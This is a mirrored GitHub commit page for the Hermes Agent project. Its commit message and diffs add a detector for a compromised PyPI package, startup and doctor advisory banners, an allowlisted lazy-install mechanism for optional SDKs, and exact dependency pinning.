mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-05-19 04:52:06 +00:00
feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback (#24220)
* feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback
Three coordinated mitigations for the Mini Shai-Hulud worm hitting
mistralai 2.4.6 on PyPI (2026-05-12) and for the next single-package
compromise that follows.
# What this PR makes true
1. Users with the poisoned mistralai 2.4.6 in their venv get a loud
detection banner with copy-pasteable remediation steps the moment
they run hermes (and on every gateway startup).
2. One quarantined / yanked PyPI package can no longer silently demote
a fresh install to 'core only' — the installer keeps every other
extra and tells the user which tier landed.
3. Future opt-in backends (Mistral, ElevenLabs, Honcho, etc.) can
lazy-install on first use under a strict allowlist, instead of
eagerly pulling everything at install time.
# Detection: hermes_cli/security_advisories.py
- ADVISORIES catalog (one entry currently: shai-hulud-2026-05 for
mistralai==2.4.6). Adding the next one is a single dataclass.
- detect_compromised() uses importlib.metadata.version() — no pip
dependency, works in uv venvs that lack pip.
- Banner cache (~/.hermes/cache/advisory_banner_seen) rate-limits
the startup banner to once per 24h per advisory.
- Acks persisted to security.acked_advisories in config.yaml; never
re-banner after ack.
- Wired into:
* hermes doctor — runs first, prints full remediation block
* hermes doctor --ack <id> — dismisses an advisory
* cli.py interactive run() and single-query branches — short
stderr banner pointing at hermes doctor
* gateway/run.py startup — operator-visible warning in gateway.log
# Lazy-install framework: tools/lazy_deps.py
- LAZY_DEPS allowlist maps namespaced feature keys (tts.elevenlabs,
memory.honcho, provider.bedrock, etc.) to pip specs.
- ensure(feature) installs missing deps in the active venv via the
uv → pip → ensurepip ladder (matches tools_config._pip_install).
- Strict spec safety regex rejects URLs, file paths, shell metas,
pip flag injection, control chars — only PyPI-by-name accepted.
- Gated on security.allow_lazy_installs (default true) plus the
HERMES_DISABLE_LAZY_INSTALLS env var for restricted/audited envs.
- Migrated three backends as proof of pattern:
* tools/tts_tool.py — _import_elevenlabs() calls ensure first
* plugins/memory/honcho/client.py — get_honcho_client lazy-installs
* tts.mistral / stt.mistral entries pre-registered for when PyPI
restores mistralai
# Installer fallback tiers
scripts/install.sh, scripts/install.ps1, setup-hermes.sh:
- Centralised _BROKEN_EXTRAS list (currently: mistral). Edit one
array when a transitive breaks; users keep every other extra.
- New 'all minus known-broken' tier between [all] and the existing
PyPI-only-extras tier. Only kicks in when [all] fails resolve.
- All three tiers explicit: every fallback announces which tier
landed and prints a re-run hint when not on Tier 1.
- install.ps1 and install.sh both regenerate their tier specs from
the same _BROKEN_EXTRAS array so updates stay in sync.
Side effect: install.ps1 Tier 2 spec previously hardcoded 'mistral'
in its extra list — bug fixed by the refactor (mistral is filtered
out).
# Config
hermes_cli/config.py — DEFAULT_CONFIG.security gains:
- acked_advisories: [] (advisory IDs the user has dismissed)
- allow_lazy_installs: True (security gate for ensure())
No config version bump needed — both keys nest under existing
security: block, and load_config's deep-merge picks up DEFAULT_CONFIG
defaults for users with older configs.
# Tests
tests/hermes_cli/test_security_advisories.py — 23 tests covering:
- detect_compromised matches/non-matches, wildcard frozenset
- ack persistence, idempotence, blank rejection, config-failure path
- banner cache rate limiting + 24h re-banner + ack-stops-banner
- short_banner_lines / full_remediation_text / render_doctor_section /
gateway_log_message
- shipped catalog well-formedness invariant
tests/tools/test_lazy_deps.py — 40 tests covering:
- spec safety: 11 safe parametrized + 18 unsafe parametrized
- allowlist: unknown-feature rejection, namespace.name shape,
every shipped spec passes the safety regex
- security gating: config flag, env var, default, fail-open
- ensure() happy/sad paths: already-satisfied, install success,
pip stderr surfaced on failure, install-succeeds-but-still-missing
- is_available, feature_install_command
Combined: 63 new tests, all passing under scripts/run_tests.sh.
# Validation
- scripts/run_tests.sh tests/hermes_cli/test_security_advisories.py
tests/tools/test_lazy_deps.py → 63/63 passing
- scripts/run_tests.sh tests/hermes_cli/test_doctor.py
tests/hermes_cli/test_doctor_command_install.py
tests/tools/test_tts_mistral.py tests/tools/test_transcription_tools.py
tests/tools/test_transcription_dotenv_fallback.py → 165/165 passing
- scripts/run_tests.sh tests/hermes_cli/ tests/tools/ →
9191 passed, 8 pre-existing failures (verified on origin/main
before this change)
- bash -n on install.sh and setup-hermes.sh → OK
- py_compile on all modified .py files → OK
- End-to-end smoke test of detect_compromised + render_doctor_section
+ gateway_log_message with mocked installed version → produces
copy-pasteable remediation output
# Community
Full advisory + remediation steps:
website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md
Short-form post drafts (Discord, GitHub pinned issue, README banner):
scripts/community-announcement-shai-hulud.md
Refs: PR #24205 (mistral disabled), Socket Security advisory
<https://socket.dev/blog/mini-shai-hulud-worm-pypi>
* build(deps): pin every direct dep to ==X.Y.Z (no ranges)
Companion to the supply-chain advisory work: replace every >=/</~= range
in pyproject.toml's [project.dependencies] and [project.optional-dependencies]
with an exact ==X.Y.Z pin sourced from uv.lock.
Why: ranges allow PyPI to ship a fresh version of any direct dep at any
time without a code review on our side. With ranges, the malicious
mistralai 2.4.6 release would have been pulled by every fresh
'pip install -e .[all]' for the hours between upload and PyPI's
quarantine — exactly the install window we got hit on. Exact pins close
that window: the only way a new package version reaches a user is via
an intentional update on our end.
What the user-facing change is: nothing, behavior-wise. Every package
resolves to the same version it was already resolving to via uv.lock —
the pins just remove the resolver's freedom to pick a different one.
Cost: any user installing Hermes alongside another package that requires
a newer pin gets a resolver conflict. Acceptable for our isolated-venv
install path; documented in the new comment block.
Build-system requires line (setuptools>=61.0) is intentionally left
as a range — pinning the build backend would block fresh pip from
bootstrapping the build on architectures where that exact wheel isn't
available.
mistral extra (mistralai==2.3.0) is pinned but stays out of [all]
(per PR #24205). 'uv lock' regeneration will fail until PyPI restores
mistralai; lockfile regeneration is gated behind that, NOT on every PR.
LAZY_DEPS in tools/lazy_deps.py also moved to exact pins so the lazy-
install pathway can never resolve a different version than the one
declared in pyproject.toml.
Validation:
- Cross-checked all 77 pinned direct deps in pyproject.toml against
uv.lock — every pin matches the resolved version exactly.
- Cross-checked all LAZY_DEPS specs against uv.lock — same.
- 'uv pip install -e .[all] --dry-run' resolves 205 packages cleanly.
- tests/tools/test_lazy_deps.py + tests/hermes_cli/test_security_advisories.py
→ 63/63 passing (every shipped spec passes the safety regex).
- Doctor + TTS + transcription targeted suite → 146/146 passing.
* build(deps): hash-verify transitives via uv.lock; remove unresolvable [mistral] extra
You asked: 'what about the dependencies the dependencies rely on?' —
correctly noting that exact-pinning direct deps in pyproject.toml does
NOT cover the transitive graph. `pip install` and `uv pip install` both
re-resolve transitives fresh from PyPI at install time, so a compromised
transitive (e.g. `httpcore` if it got worm-poisoned tomorrow) would
still hit our users even with every direct dep exact-pinned.
# What this commit fixes
1. **Both real installer scripts now prefer `uv sync --locked` as Tier 0.**
uv.lock records SHA256 hashes for every transitive — a compromised
package with a different hash gets REJECTED. Falls through to the
existing `uv pip install` cascade if the lockfile is missing or
stale, with a loud warning that the fallback path does NOT
hash-verify transitives. Previously only `setup-hermes.sh` (the dev
path) used the lockfile; `scripts/install.sh` and `scripts/install.ps1`
(the paths fresh users actually run) skipped it.
2. **Removed the `[mistral]` extra entirely.** The `mistralai` PyPI
project is fully quarantined right now — every version returns 404,
so any pin we wrote was unresolvable, which broke `uv lock --check`
in CI. Restoration is documented in pyproject.toml as a 5-step
checklist (verify, re-add extra, re-enable in 4 modules, regenerate
lock, optionally re-add to [all]).
3. **Regenerated uv.lock.** 262 packages, mistralai/eval-type-backport/
jsonpath-python pruned. `uv lock --check` now passes.
# Defense-in-depth view
| Layer | Where | Protects against |
|----------------------------|-------------------|-------------------------------------------|
| Exact pins in pyproject | direct deps | new mistralai 2.4.6-style direct compromise |
| uv.lock + `--locked` install | transitive graph | transitive worm injection |
| Tier-0 hash-verified path | install.sh / .ps1 | actually USE the lockfile in fresh installs |
| `uv lock --check` CI gate | every PR | drift between pyproject and lockfile |
| `hermes_cli/security_advisories.py` | runtime | cleanup for users who already got hit |
The exact pinning + hash verification together close the supply-chain
gap. Without the lockfile path, exact pins alone are theater.
# Validation
- `uv lock --check` → passes (262 packages resolved, no drift).
- `bash -n` on install.sh + setup-hermes.sh → OK.
- 209/209 tests passing across new + adjacent test files
(test_lazy_deps.py, test_security_advisories.py, test_doctor.py,
test_tts_mistral.py, test_transcription_tools.py).
- TOML parse OK.
* chore: remove community announcement drafts (PR body covers it)
* build(deps): lazy-install every opt-in backend (anthropic, search, terminal, platforms, dashboard)
Extends the lazy-install framework to cover everything that's not used by
every hermes session. Base install drops from ~60 packages to 45.
Moved out of core dependencies = []:
- anthropic (only when provider=anthropic native, not via aggregators)
- exa-py, firecrawl-py, parallel-web (search backends; only when picked)
- fal-client (image gen; only when picked)
- edge-tts (default TTS but still optional)
New extras in pyproject.toml: [anthropic] [exa] [firecrawl] [parallel-web]
[fal] [edge-tts]. All added to [all].
New LAZY_DEPS entries: provider.anthropic, search.{exa,firecrawl,parallel},
tts.edge, image.fal, memory.hindsight, platform.{telegram,discord,matrix},
terminal.{modal,daytona,vercel}, tool.dashboard.
Each import site now calls ensure() before importing the SDK. Where the
module had a top-level try/except (telegram, discord, fastapi), the
graceful-fallback pattern was extended to lazy-install on first
check_*_requirements() call and re-bind module globals.
Updated test_windows_native_support.py tzdata check from snapshot
(>=2023.3 literal) to invariant (any version + win32 marker).
Validation:
- Base install: 45 packages (was ~60); 6 newly-extracted packages absent
- uv lock --check: passes (262 packages, no drift)
- 209/209 lazy_deps + advisory + doctor + tts/transcription tests passing
- py_compile clean on all 12 modified modules
This commit is contained in:
parent
99ad2d1372
commit
c1eb2dcda7
28 changed files with 2433 additions and 243 deletions
|
|
@ -35,6 +35,14 @@ def _get_anthropic_sdk():
|
||||||
"""Return the ``anthropic`` SDK module, importing lazily. None if not installed."""
|
"""Return the ``anthropic`` SDK module, importing lazily. None if not installed."""
|
||||||
global _anthropic_sdk
|
global _anthropic_sdk
|
||||||
if _anthropic_sdk is ...:
|
if _anthropic_sdk is ...:
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("provider.anthropic", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception:
|
||||||
|
# FeatureUnavailable — fall through to ImportError handling below
|
||||||
|
pass
|
||||||
try:
|
try:
|
||||||
import anthropic as _sdk
|
import anthropic as _sdk
|
||||||
_anthropic_sdk = _sdk
|
_anthropic_sdk = _sdk
|
||||||
|
|
|
||||||
38
cli.py
38
cli.py
|
|
@ -4214,12 +4214,34 @@ class HermesCLI:
|
||||||
ChatConsole().print(f"[bold red]Failed to initialize agent: {e}[/]")
|
ChatConsole().print(f"[bold red]Failed to initialize agent: {e}[/]")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def _show_security_advisories(self):
|
||||||
|
"""Show a startup banner if any unacked security advisories match.
|
||||||
|
|
||||||
|
Renders a single bold-red box on stderr (so piped stdout remains
|
||||||
|
clean) listing the worst hit and pointing at ``hermes doctor``.
|
||||||
|
Banner-cache rate-limits this to once per 24h per advisory; full
|
||||||
|
remediation lives behind ``hermes doctor`` so the banner stays
|
||||||
|
small.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from hermes_cli.security_advisories import (
|
||||||
|
detect_compromised,
|
||||||
|
startup_banner,
|
||||||
|
)
|
||||||
|
hits = detect_compromised()
|
||||||
|
banner = startup_banner(hits)
|
||||||
|
if banner:
|
||||||
|
# Print to stderr — keeps stdout clean for piped automation,
|
||||||
|
# and Rich's banner rendering already wrote to stdout above.
|
||||||
|
print(banner, file=sys.stderr, flush=True)
|
||||||
|
except Exception:
|
||||||
|
# Never let the security banner block startup. Failures are
|
||||||
|
# logged at DEBUG by the advisory module.
|
||||||
|
pass
|
||||||
|
|
||||||
def show_banner(self):
|
def show_banner(self):
|
||||||
"""Display the welcome banner in Claude Code style."""
|
"""Display the welcome banner in Claude Code style."""
|
||||||
self.console.clear()
|
self.console.clear()
|
||||||
|
|
||||||
# Get context length for display before branching so it remains
|
|
||||||
# available to the low-context warning logic in compact mode too.
|
|
||||||
ctx_len = None
|
ctx_len = None
|
||||||
if hasattr(self, 'agent') and self.agent and hasattr(self.agent, 'context_compressor'):
|
if hasattr(self, 'agent') and self.agent and hasattr(self.agent, 'context_compressor'):
|
||||||
ctx_len = self.agent.context_compressor.context_length
|
ctx_len = self.agent.context_compressor.context_length
|
||||||
|
|
@ -11016,10 +11038,9 @@ class HermesCLI:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
self.show_banner()
|
self.show_banner()
|
||||||
|
# Surface any active supply-chain security advisories right after the
|
||||||
# One-line Honcho session indicator (TTY-only, not captured by agent).
|
# welcome banner. Quiet/single-query paths call this themselves.
|
||||||
# Only show when the user explicitly configured Honcho for Hermes
|
self._show_security_advisories()
|
||||||
# (not auto-enabled from a stray HONCHO_API_KEY env var).
|
|
||||||
# If resuming a session, load history and display it immediately
|
# If resuming a session, load history and display it immediately
|
||||||
# so the user has context before typing their first message.
|
# so the user has context before typing their first message.
|
||||||
if self._resumed:
|
if self._resumed:
|
||||||
|
|
@ -13528,6 +13549,9 @@ def main(
|
||||||
_query_label = query or ("[image attached]" if single_query_images else "")
|
_query_label = query or ("[image attached]" if single_query_images else "")
|
||||||
if _query_label:
|
if _query_label:
|
||||||
cli.console.print(f"[bold blue]Query:[/] {_query_label}")
|
cli.console.print(f"[bold blue]Query:[/] {_query_label}")
|
||||||
|
# Surface security advisories before the agent runs — short
|
||||||
|
# banner, doesn't depend on the welcome banner being shown.
|
||||||
|
cli._show_security_advisories()
|
||||||
cli.chat(query, images=single_query_images or None)
|
cli.chat(query, images=single_query_images or None)
|
||||||
cli._print_exit_summary()
|
cli._print_exit_summary()
|
||||||
return
|
return
|
||||||
|
|
|
||||||
|
|
@ -86,8 +86,32 @@ def _clean_discord_id(entry: str) -> str:
|
||||||
|
|
||||||
|
|
||||||
def check_discord_requirements() -> bool:
|
def check_discord_requirements() -> bool:
|
||||||
"""Check if Discord dependencies are available."""
|
"""Check if Discord dependencies are available.
|
||||||
return DISCORD_AVAILABLE
|
|
||||||
|
Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")``
|
||||||
|
on first call if not present. After successful install, re-binds module
|
||||||
|
globals so ``DISCORD_AVAILABLE`` becomes True.
|
||||||
|
"""
|
||||||
|
global DISCORD_AVAILABLE, discord, DiscordMessage, Intents, commands
|
||||||
|
if DISCORD_AVAILABLE:
|
||||||
|
return True
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("platform.discord", prompt=False)
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
import discord as _discord
|
||||||
|
from discord import Message as _DM, Intents as _Intents
|
||||||
|
from discord.ext import commands as _commands
|
||||||
|
except ImportError:
|
||||||
|
return False
|
||||||
|
discord = _discord
|
||||||
|
DiscordMessage = _DM
|
||||||
|
Intents = _Intents
|
||||||
|
commands = _commands
|
||||||
|
DISCORD_AVAILABLE = True
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
def _build_allowed_mentions():
|
def _build_allowed_mentions():
|
||||||
|
|
|
||||||
|
|
@ -103,8 +103,58 @@ _TELEGRAM_IMAGE_EXT_TO_MIME = {
|
||||||
|
|
||||||
|
|
||||||
def check_telegram_requirements() -> bool:
|
def check_telegram_requirements() -> bool:
|
||||||
"""Check if Telegram dependencies are available."""
|
"""Check if Telegram dependencies are available.
|
||||||
return TELEGRAM_AVAILABLE
|
|
||||||
|
If python-telegram-bot is missing, attempts to lazy-install it via
|
||||||
|
``tools.lazy_deps.ensure("platform.telegram")``. After a successful
|
||||||
|
install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True
|
||||||
|
so the adapter's class-level type aliases get rebound.
|
||||||
|
"""
|
||||||
|
global TELEGRAM_AVAILABLE, Update, Bot, Message, InlineKeyboardButton
|
||||||
|
global InlineKeyboardMarkup, LinkPreviewOptions, Application
|
||||||
|
global CommandHandler, CallbackQueryHandler, TelegramMessageHandler
|
||||||
|
global ContextTypes, filters, ParseMode, ChatType, HTTPXRequest
|
||||||
|
if TELEGRAM_AVAILABLE:
|
||||||
|
return True
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("platform.telegram", prompt=False)
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
from telegram import Update as _Update, Bot as _Bot, Message as _Message
|
||||||
|
from telegram import InlineKeyboardButton as _IKB, InlineKeyboardMarkup as _IKM
|
||||||
|
try:
|
||||||
|
from telegram import LinkPreviewOptions as _LPO
|
||||||
|
except ImportError:
|
||||||
|
_LPO = None
|
||||||
|
from telegram.ext import (
|
||||||
|
Application as _App, CommandHandler as _CH,
|
||||||
|
CallbackQueryHandler as _CQH,
|
||||||
|
MessageHandler as _MH,
|
||||||
|
ContextTypes as _CT, filters as _filters,
|
||||||
|
)
|
||||||
|
from telegram.constants import ParseMode as _PM, ChatType as _CtT
|
||||||
|
from telegram.request import HTTPXRequest as _HR
|
||||||
|
except ImportError:
|
||||||
|
return False
|
||||||
|
Update = _Update
|
||||||
|
Bot = _Bot
|
||||||
|
Message = _Message
|
||||||
|
InlineKeyboardButton = _IKB
|
||||||
|
InlineKeyboardMarkup = _IKM
|
||||||
|
LinkPreviewOptions = _LPO
|
||||||
|
Application = _App
|
||||||
|
CommandHandler = _CH
|
||||||
|
CallbackQueryHandler = _CQH
|
||||||
|
TelegramMessageHandler = _MH
|
||||||
|
ContextTypes = _CT
|
||||||
|
filters = _filters
|
||||||
|
ParseMode = _PM
|
||||||
|
ChatType = _CtT
|
||||||
|
HTTPXRequest = _HR
|
||||||
|
TELEGRAM_AVAILABLE = True
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
# Matches every character that MarkdownV2 requires to be backslash-escaped
|
# Matches every character that MarkdownV2 requires to be backslash-escaped
|
||||||
|
|
|
||||||
|
|
@ -3275,6 +3275,30 @@ class GatewayRunner:
|
||||||
write_runtime_status(gateway_state="starting", exit_reason=None)
|
write_runtime_status(gateway_state="starting", exit_reason=None)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# Log any active supply-chain security advisories. Operators see this
|
||||||
|
# in gateway.log and `hermes status` surfaces it; we do NOT block
|
||||||
|
# startup or surface it inline to user messages, since the gateway
|
||||||
|
# operator is the one who can act on it (uninstall the package,
|
||||||
|
# rotate credentials). See hermes_cli/security_advisories.py.
|
||||||
|
try:
|
||||||
|
from hermes_cli.security_advisories import (
|
||||||
|
detect_compromised,
|
||||||
|
gateway_log_message,
|
||||||
|
)
|
||||||
|
_adv_hits = detect_compromised()
|
||||||
|
_adv_msg = gateway_log_message(_adv_hits)
|
||||||
|
if _adv_msg:
|
||||||
|
logger.warning("%s", _adv_msg)
|
||||||
|
logger.warning(
|
||||||
|
"Run `hermes doctor` on the gateway host for full "
|
||||||
|
"remediation steps."
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
logger.debug(
|
||||||
|
"security advisory check failed at gateway startup",
|
||||||
|
exc_info=True,
|
||||||
|
)
|
||||||
|
|
||||||
# Warn if no user allowlists are configured and open access is not opted in
|
# Warn if no user allowlists are configured and open access is not opted in
|
||||||
_builtin_allowed_vars = (
|
_builtin_allowed_vars = (
|
||||||
|
|
|
||||||
|
|
@ -1332,6 +1332,21 @@ DEFAULT_CONFIG = {
|
||||||
"domains": [],
|
"domains": [],
|
||||||
"shared_files": [],
|
"shared_files": [],
|
||||||
},
|
},
|
||||||
|
# Acknowledged supply-chain security advisories. Each entry is the
|
||||||
|
# ID of an advisory the user has read and acted on (uninstalled the
|
||||||
|
# compromised package, rotated credentials). Acked advisories no
|
||||||
|
# longer trigger the startup banner. Add via `hermes doctor --ack
|
||||||
|
# <id>`; remove by editing the list directly. See
|
||||||
|
# ``hermes_cli/security_advisories.py`` for the catalog.
|
||||||
|
"acked_advisories": [],
|
||||||
|
# Allow Hermes to lazy-install opt-in backend packages from PyPI
|
||||||
|
# the first time the user enables a backend that needs them
|
||||||
|
# (e.g. installing ``elevenlabs`` when the user picks ElevenLabs as
|
||||||
|
# their TTS provider). Set to false to require explicit
|
||||||
|
# ``pip install`` for everything beyond the base set — appropriate
|
||||||
|
# for restricted networks, audited environments, or air-gapped
|
||||||
|
# systems where any runtime install is unacceptable.
|
||||||
|
"allow_lazy_installs": True,
|
||||||
},
|
},
|
||||||
|
|
||||||
"cron": {
|
"cron": {
|
||||||
|
|
|
||||||
|
|
@ -296,19 +296,101 @@ def _build_apikey_providers_list() -> list:
|
||||||
def run_doctor(args):
|
def run_doctor(args):
|
||||||
"""Run diagnostic checks."""
|
"""Run diagnostic checks."""
|
||||||
should_fix = getattr(args, 'fix', False)
|
should_fix = getattr(args, 'fix', False)
|
||||||
|
ack_target = getattr(args, 'ack', None)
|
||||||
|
|
||||||
# Doctor runs from the interactive CLI, so CLI-gated tool availability
|
# Doctor runs from the interactive CLI, so CLI-gated tool availability
|
||||||
# checks (like cronjob management) should see the same context as `hermes`.
|
# checks (like cronjob management) should see the same context as `hermes`.
|
||||||
os.environ.setdefault("HERMES_INTERACTIVE", "1")
|
os.environ.setdefault("HERMES_INTERACTIVE", "1")
|
||||||
|
|
||||||
|
# Handle `hermes doctor --ack <id>` as a fast path. Persist the ack and
|
||||||
|
# return without running the rest of the diagnostics — the user has
|
||||||
|
# already seen the advisory and just wants to silence it.
|
||||||
|
if ack_target:
|
||||||
|
from hermes_cli.security_advisories import (
|
||||||
|
ADVISORIES,
|
||||||
|
ack_advisory,
|
||||||
|
)
|
||||||
|
valid_ids = {a.id for a in ADVISORIES}
|
||||||
|
if ack_target not in valid_ids:
|
||||||
|
print(color(
|
||||||
|
f"Unknown advisory ID: {ack_target!r}. Known IDs: "
|
||||||
|
f"{', '.join(sorted(valid_ids)) or '(none)'}",
|
||||||
|
Colors.RED,
|
||||||
|
))
|
||||||
|
sys.exit(2)
|
||||||
|
if ack_advisory(ack_target):
|
||||||
|
print(color(
|
||||||
|
f" ✓ Acknowledged advisory {ack_target}. "
|
||||||
|
f"It will no longer trigger startup banners.",
|
||||||
|
Colors.GREEN,
|
||||||
|
))
|
||||||
|
else:
|
||||||
|
print(color(
|
||||||
|
f" ✗ Failed to persist ack for {ack_target}. "
|
||||||
|
f"Check ~/.hermes/config.yaml is writable.",
|
||||||
|
Colors.RED,
|
||||||
|
))
|
||||||
|
sys.exit(1)
|
||||||
|
return
|
||||||
|
|
||||||
issues = []
|
issues = []
|
||||||
manual_issues = [] # issues that can't be auto-fixed
|
manual_issues = [] # issues that can't be auto-fixed
|
||||||
fixed_count = 0
|
fixed_count = 0
|
||||||
|
|
||||||
print()
|
print()
|
||||||
print(color("┌─────────────────────────────────────────────────────────┐", Colors.CYAN))
|
print(color("┌─────────────────────────────────────────────────────────┐", Colors.CYAN))
|
||||||
print(color("│ 🩺 Hermes Doctor │", Colors.CYAN))
|
print(color("│ 🩺 Hermes Doctor │", Colors.CYAN))
|
||||||
print(color("└─────────────────────────────────────────────────────────┘", Colors.CYAN))
|
print(color("└─────────────────────────────────────────────────────────┘", Colors.CYAN))
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# Check: Security advisories (RUNS FIRST — these are the most urgent)
|
||||||
|
# =========================================================================
|
||||||
|
print()
|
||||||
|
print(color("◆ Security Advisories", Colors.CYAN, Colors.BOLD))
|
||||||
|
try:
|
||||||
|
from hermes_cli.security_advisories import (
|
||||||
|
detect_compromised,
|
||||||
|
filter_unacked,
|
||||||
|
full_remediation_text,
|
||||||
|
get_acked_ids,
|
||||||
|
)
|
||||||
|
all_hits = detect_compromised()
|
||||||
|
fresh_hits = filter_unacked(all_hits)
|
||||||
|
if fresh_hits:
|
||||||
|
for hit in fresh_hits:
|
||||||
|
check_fail(
|
||||||
|
f"{hit.advisory.title}",
|
||||||
|
f"({hit.package}=={hit.installed_version})",
|
||||||
|
)
|
||||||
|
# Print the full remediation block, indented under the
|
||||||
|
# check_fail header so it reads as a single section.
|
||||||
|
for line in full_remediation_text(hit):
|
||||||
|
if line:
|
||||||
|
print(f" {color(line, Colors.YELLOW)}")
|
||||||
|
else:
|
||||||
|
print()
|
||||||
|
# Funnel into the action list so the summary block surfaces it
|
||||||
|
# for users who scroll past the section.
|
||||||
|
manual_issues.append(
|
||||||
|
f"Resolve security advisory {hit.advisory.id}: "
|
||||||
|
f"uninstall {hit.package}=={hit.installed_version} and "
|
||||||
|
f"rotate credentials, then run "
|
||||||
|
f"`hermes doctor --ack {hit.advisory.id}`."
|
||||||
|
)
|
||||||
|
# Acked-but-still-installed: show as informational so the user
|
||||||
|
# knows the package is still on disk after the ack.
|
||||||
|
acked_ids = get_acked_ids()
|
||||||
|
for h in all_hits:
|
||||||
|
if h.advisory.id in acked_ids:
|
||||||
|
check_warn(
|
||||||
|
f"{h.package}=={h.installed_version} still installed "
|
||||||
|
f"(advisory {h.advisory.id} acknowledged)",
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
check_ok("No active security advisories")
|
||||||
|
except Exception as e:
|
||||||
|
# Never let a bug in the advisory check block the rest of doctor.
|
||||||
|
check_warn(f"Security advisory check failed: {e}")
|
||||||
|
|
||||||
# =========================================================================
|
# =========================================================================
|
||||||
# Check: Python version
|
# Check: Python version
|
||||||
|
|
|
||||||
|
|
@ -10086,6 +10086,16 @@ def main():
|
||||||
doctor_parser.add_argument(
|
doctor_parser.add_argument(
|
||||||
"--fix", action="store_true", help="Attempt to fix issues automatically"
|
"--fix", action="store_true", help="Attempt to fix issues automatically"
|
||||||
)
|
)
|
||||||
|
doctor_parser.add_argument(
|
||||||
|
"--ack",
|
||||||
|
metavar="ADVISORY_ID",
|
||||||
|
default=None,
|
||||||
|
help=(
|
||||||
|
"Acknowledge a security advisory by ID and exit. After ack, the "
|
||||||
|
"advisory will no longer trigger startup banners. Run `hermes "
|
||||||
|
"doctor` first to see active advisories and their IDs."
|
||||||
|
),
|
||||||
|
)
|
||||||
doctor_parser.set_defaults(func=cmd_doctor)
|
doctor_parser.set_defaults(func=cmd_doctor)
|
||||||
|
|
||||||
# =========================================================================
|
# =========================================================================
|
||||||
|
|
|
||||||
451
hermes_cli/security_advisories.py
Normal file
451
hermes_cli/security_advisories.py
Normal file
|
|
@ -0,0 +1,451 @@
|
||||||
|
"""
|
||||||
|
Security advisory checker for Hermes Agent.
|
||||||
|
|
||||||
|
Detects known-compromised Python packages installed in the active venv
|
||||||
|
(supply-chain attacks like the Mini Shai-Hulud worm of May 2026 that
|
||||||
|
poisoned ``mistralai 2.4.6`` on PyPI) and surfaces remediation guidance to
|
||||||
|
the user.
|
||||||
|
|
||||||
|
Design goals:
|
||||||
|
|
||||||
|
- **Cheap.** A single ``importlib.metadata.version()`` call per advisory
|
||||||
|
package. Safe to run on every CLI startup.
|
||||||
|
- **Loud when it matters, silent otherwise.** If no compromised package is
|
||||||
|
installed, the user sees nothing.
|
||||||
|
- **Acknowledgeable.** Once the user has read and acted on an advisory they
|
||||||
|
can dismiss it via ``hermes doctor --ack <id>``; the ack is persisted to
|
||||||
|
``config.security.acked_advisories`` and survives restart.
|
||||||
|
- **Extensible.** Adding a new advisory is one entry in ``ADVISORIES``;
|
||||||
|
adding a new compromised version is a one-line edit. No code changes
|
||||||
|
needed when the next worm hits.
|
||||||
|
|
||||||
|
The check is invoked from three places:
|
||||||
|
|
||||||
|
1. ``hermes doctor`` (and ``hermes doctor --ack <id>``)
|
||||||
|
2. CLI startup banner (one short line, then full guidance via
|
||||||
|
``hermes doctor``)
|
||||||
|
3. Gateway startup (logged to gateway.log; first interactive message gets
|
||||||
|
a one-line operator banner)
|
||||||
|
|
||||||
|
This module is intentionally dependency-free beyond the stdlib so it can
|
||||||
|
run in environments where the rest of Hermes failed to import.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Iterable, Optional
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Advisory catalog
|
||||||
|
#
|
||||||
|
# Each advisory is a community-facing security warning about one or more
|
||||||
|
# specific package versions that are known to be compromised. To add a new
|
||||||
|
# advisory:
|
||||||
|
#
|
||||||
|
# 1. Append a new ``Advisory`` to ``ADVISORIES`` below
|
||||||
|
# 2. Set ``compromised`` to a tuple of ``(pkg_name, frozenset_of_versions)``
|
||||||
|
# — version strings must match what ``importlib.metadata.version()``
|
||||||
|
# returns. Use an empty frozenset to flag *any installed version*
|
||||||
|
# (rare; only when the maintainer namespace itself is compromised).
|
||||||
|
# 3. Write 2-4 short ``remediation`` lines a non-expert can copy/paste.
|
||||||
|
#
|
||||||
|
# Do NOT remove old advisories. Once an advisory ships, leave it in place so
|
||||||
|
# users running an older release with the compromised package still get
|
||||||
|
# warned. Mark superseded ones via ``superseded_by`` if needed.
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class Advisory:
|
||||||
|
"""One security advisory entry.
|
||||||
|
|
||||||
|
Attributes:
|
||||||
|
id: stable identifier used for acks (e.g. ``shai-hulud-2026-05``).
|
||||||
|
Lowercase-hyphen, never reused.
|
||||||
|
title: one-line headline shown in banners.
|
||||||
|
summary: 1-3 sentence description of what was compromised and how.
|
||||||
|
url: reference URL (Socket advisory, GitHub advisory, PyPI page).
|
